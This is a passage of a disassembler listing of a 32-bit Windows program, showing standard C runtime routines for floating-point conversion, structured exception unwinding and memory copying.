		mov	ds:dword_460F6C, eax
		call	sub_415D42
		fnclex
		retn
sub_4121D1	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4121E9	proc near		; CODE XREF: sub_4121D1p
		mov	eax, offset sub_416180
		mov	ds:off_42FBAC, offset loc_415E15
		mov	ds:off_42FBA8, eax
		mov	ds:off_42FBB0, offset sub_415E7B
		mov	ds:off_42FBB4, offset sub_415DBB
		mov	ds:off_42FBB8, offset loc_415E63
		mov	ds:off_42FBBC, eax
		retn
sub_4121E9	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412224	proc near		; CODE XREF: sub_403051+1Bp
					; sub_403051+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_412224	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41224B(double)

sub_41224B	proc near		; CODE XREF: sub_40309D+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_42F848
		call	sub_415CC9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_4122D1
		call	sub_415B91
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_4122B4
		cmp	eax, 2
		jle	short loc_4122A6
		cmp	eax, 3
		jnz	short loc_4122B4
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_4154A1
		add	esp, 10h
		jmp	short loc_412316
; ---------------------------------------------------------------------------


loc_4122A6:				; CODE XREF: sub_41224B+3Fj
		push	esi
		push	ebx
		call	sub_415CC9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_412316
; ---------------------------------------------------------------------------


loc_4122B4:				; CODE XREF: sub_41224B+3Aj
					; sub_41224B+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_41D668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41230E
; ---------------------------------------------------------------------------


loc_4122D1:				; CODE XREF: sub_41224B+2Fj
		call	sub_415B56
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_4122F4


loc_4122E6:				; CODE XREF: sub_41224B+ACj
		push	esi
		push	ebx
		call	sub_415CC9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_412316
; ---------------------------------------------------------------------------


loc_4122F4:				; CODE XREF: sub_41224B+99j
		test	bl, 20h
		jnz	short loc_4122E6
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41230E:				; CODE XREF: sub_41224B+84j
		call	sub_4154F4
		add	esp, 1Ch


loc_412316:				; CODE XREF: sub_41224B+59j
					; sub_41224B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41224B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41231A	proc near		; CODE XREF: sub_4165F1+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41231A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41234E	proc near		; CODE XREF: sub_4167A2+199p
					; sub_416966+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41234E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412355	proc near		; CODE XREF: sub_4167A2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_412355	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41235C	proc near		; CODE XREF: sub_41250E+5Cp
					; sub_4165F1:loc_416622p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_412384
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C44C	; RtlUnwind


loc_412384:				; DATA XREF: sub_41235C+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41235C	endp

; ---------------------------------------------------------------------------


loc_4123AB:				; CODE XREF: seg000:0041C5A8j
					; seg000:0041C5C5j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4161F6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123E1	proc near		; CODE XREF: sub_41666C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_412435
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_4169F0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_4123E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412435	proc near		; DATA XREF: sub_4123E1+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4161F6
		add	esp, 20h
		pop	ebp
		retn
sub_412435	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41245A	proc near		; CODE XREF: sub_416438+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41250E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_4124E0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_461004
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_4124E0:				; DATA XREF: sub_41245A+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_4124FD
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_412506
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: sub_41245A+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_412506:				; CODE XREF: sub_41245A+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41245A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41250E	proc near		; DATA XREF: sub_41245A+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_412531
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41257E
; ---------------------------------------------------------------------------


loc_412531:				; CODE XREF: sub_41250E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4161F6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41256F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41235C


loc_41256F:				; CODE XREF: sub_41250E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41257E:				; CODE XREF: sub_41250E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41250E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412583	proc near		; CODE XREF: sub_416291+C6p
					; sub_416438+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_4125DA


loc_4125A1:				; CODE XREF: sub_412583+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4125AB
		call	sub_416A92


loc_4125AB:				; CODE XREF: sub_412583+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_4125C0
		cmp	ecx, [eax+8]
		jle	short loc_4125C5


loc_4125C0:				; CODE XREF: sub_412583+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4125D1


loc_4125C5:				; CODE XREF: sub_412583+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_4125D1:				; CODE XREF: sub_412583+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_4125A1
		mov	eax, [ebp+var_4]


loc_4125DA:				; CODE XREF: sub_412583+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_4125EE
		cmp	esi, eax
		jbe	short loc_4125F3


loc_4125EE:				; CODE XREF: sub_412583+65j
		call	sub_416A92


loc_4125F3:				; CODE XREF: sub_412583+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_412583	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412600	proc near		; CODE XREF: sub_418F6C+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_412618
		push	[ebp+arg_0]
		call	sub_41C44C	; RtlUnwind


loc_412618:				; DATA XREF: sub_412600+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_412600	endp


; =============== S U B	R O U T	I N E =======================================



sub_412620	proc near		; DATA XREF: sub_412642+Ao
					; sub_4126AA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_412641
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_412641:				; CODE XREF: sub_412620+10j
		retn
sub_412620	endp


; =============== S U B	R O U T	I N E =======================================



sub_412642	proc near		; CODE XREF: sub_416712+Dp
					; sub_418F6C+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_412620
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41265F:				; CODE XREF: sub_412642:loc_41269Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41269C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41269C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41269A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_4126D6
		call	dword ptr [ebx+esi*4+8]


loc_41269A:				; CODE XREF: sub_412642+44j
		jmp	short loc_41265F
; ---------------------------------------------------------------------------


loc_41269C:				; CODE XREF: sub_412642+2Aj
					; sub_412642+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_412642	endp


; =============== S U B	R O U T	I N E =======================================



sub_4126AA	proc near		; CODE XREF: sub_416732+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_412620
		jnz	short locret_4126CC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4126CC
		mov	eax, 1

locret_4126CC:				; CODE XREF: sub_4126AA+10j
					; sub_4126AA+1Bj
		retn
sub_4126AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4126CD	proc near		; CODE XREF: sub_4169F0+1Ep
					; sub_4169F0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42F84C
		jmp	short loc_4126E0
sub_4126CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4126D6	proc near		; CODE XREF: sub_412642+4Fp
					; sub_418F6C+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42F84C
		mov	ecx, [ebp+8]


loc_4126E0:				; CODE XREF: sub_4126CD+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_4126D6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4126F0	proc near		; CODE XREF: sub_40309D+5p
					; sub_40323F+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_4126F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41270F	proc near		; CODE XREF: sub_403714+26p
					; seg000:0041C225p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4120D3
		pop	ecx
		retn
sub_41270F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412720	proc near		; CODE XREF: sub_403785+3Ap
					; sub_4149CB+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_412740
		cmp	edi, eax
		jb	loc_4128B8


loc_412740:				; CODE XREF: sub_412720+16j
		test	edi, 3
		jnz	short loc_41275C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41277C
		rep movsd
		jmp	ds:off_412868[edx*4]
; ---------------------------------------------------------------------------


loc_41275C:				; CODE XREF: sub_412720+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_412774
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41277C+4[eax*4]
; ---------------------------------------------------------------------------


loc_412774:				; CODE XREF: sub_412720+46j
		jmp	dword ptr ds:loc_412878[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41277C:				; CODE XREF: sub_412720+31j
					; sub_412720+8Ej ...
		jmp	ds:off_4127FC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 27h,	41h, 0
		dd offset loc_4127BC
		dd offset loc_4127E0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41277C
		rep movsd
		jmp	ds:off_412868[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4127BC:				; DATA XREF: sub_412720+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41277C
		rep movsd
		jmp	ds:off_412868[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4127E0:				; DATA XREF: sub_412720+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41277C
		rep movsd
		jmp	ds:off_412868[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4127FC	dd offset loc_41285F	; DATA XREF: sub_412720:loc_41277Cr
		dd offset loc_41284C
		dd offset loc_412844
		dd offset loc_41283C
		dd offset loc_412834
		dd offset loc_41282C
		dd offset loc_412824
		dd offset loc_41281C
; ---------------------------------------------------------------------------


loc_41281C:				; CODE XREF: sub_412720:loc_41277Cj
					; DATA XREF: sub_412720+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_412824:				; CODE XREF: sub_412720:loc_41277Cj
					; DATA XREF: sub_412720+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41282C:				; CODE XREF: sub_412720:loc_41277Cj
					; DATA XREF: sub_412720+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_412834:				; CODE XREF: sub_412720:loc_41277Cj
					; DATA XREF: sub_412720+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41283C:				; CODE XREF: sub_412720:loc_41277Cj
					; DATA XREF: sub_412720+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_412844:				; CODE XREF: sub_412720:loc_41277Cj
					; DATA XREF: sub_412720+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41284C:				; CODE XREF: sub_412720:loc_41277Cj
					; DATA XREF: sub_412720+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41285F:				; CODE XREF: sub_412720:loc_41277Cj
					; DATA XREF: sub_412720:off_4127FCo
		jmp	ds:off_412868[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_412868	dd offset loc_412878	; DATA XREF: sub_412720+35r
					; sub_412720+92r ...
		dd offset loc_412880
		dd offset loc_41288C
		dd offset loc_4128A0
; ---------------------------------------------------------------------------


loc_412878:				; CODE XREF: sub_412720+35j
					; sub_412720+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_412880:				; CODE XREF: sub_412720+35j
					; sub_412720+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41288C:				; CODE XREF: sub_412720+35j
					; sub_412720+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4128A0:				; CODE XREF: sub_412720+35j
					; sub_412720+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4128B8:				; CODE XREF: sub_412720+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4128EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4128E0
		std
		rep movsd
		cld
		jmp	ds:off_412A00[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4128E0:				; CODE XREF: sub_412720+1B1j
					; sub_412720+208j ...
		neg	ecx
		jmp	ds:off_4129B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4128EC:				; CODE XREF: sub_412720+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_412904
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_412904+4[eax*4]
; ---------------------------------------------------------------------------


loc_412904:				; CODE XREF: sub_412720+1D6j
					; DATA XREF: sub_412720+1DDr
		jmp	ds:off_412A00[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sbb	[ecx], ch
		inc	ecx
		add	[eax], bh
		sub	[ecx+0], eax
		pusha
		sub	[ecx+0], eax
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4128E0
		std
		rep movsd
		cld
		jmp	ds:off_412A00[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4128E0
		std
		rep movsd
		cld
		jmp	ds:off_412A00[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4128E0
		std
		rep movsd
		cld
		jmp	ds:off_412A00[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4129B4
		dd offset loc_4129BC
		dd offset loc_4129C4
		dd offset loc_4129CC
		dd offset loc_4129D4
		dd offset loc_4129DC
		dd offset loc_4129E4
off_4129B0	dd offset loc_4129F7	; DATA XREF: sub_412720+1C2r
; ---------------------------------------------------------------------------


loc_4129B4:				; DATA XREF: sub_412720+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_4129BC:				; DATA XREF: sub_412720+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_4129C4:				; DATA XREF: sub_412720+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_4129CC:				; DATA XREF: sub_412720+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4129D4:				; DATA XREF: sub_412720+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_4129DC:				; DATA XREF: sub_412720+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_4129E4:				; DATA XREF: sub_412720+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4129F7:				; CODE XREF: sub_412720+1C2j
					; DATA XREF: sub_412720:off_4129B0o
		jmp	ds:off_412A00[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_412A00	dd offset loc_412A10	; DATA XREF: sub_412720+1B7r
					; sub_412720:loc_412904r ...
		dd offset loc_412A18
		dd offset loc_412A28
		dd offset loc_412A3C
; ---------------------------------------------------------------------------


loc_412A10:				; CODE XREF: sub_412720+1B7j
					; sub_412720:loc_412904j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_412A18:				; CODE XREF: sub_412720+1B7j
					; sub_412720:loc_412904j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_412A28:				; CODE XREF: sub_412720+1B7j
					; sub_412720:loc_412904j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_412A3C:				; CODE XREF: sub_412720+1B7j
					; sub_412720:loc_412904j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
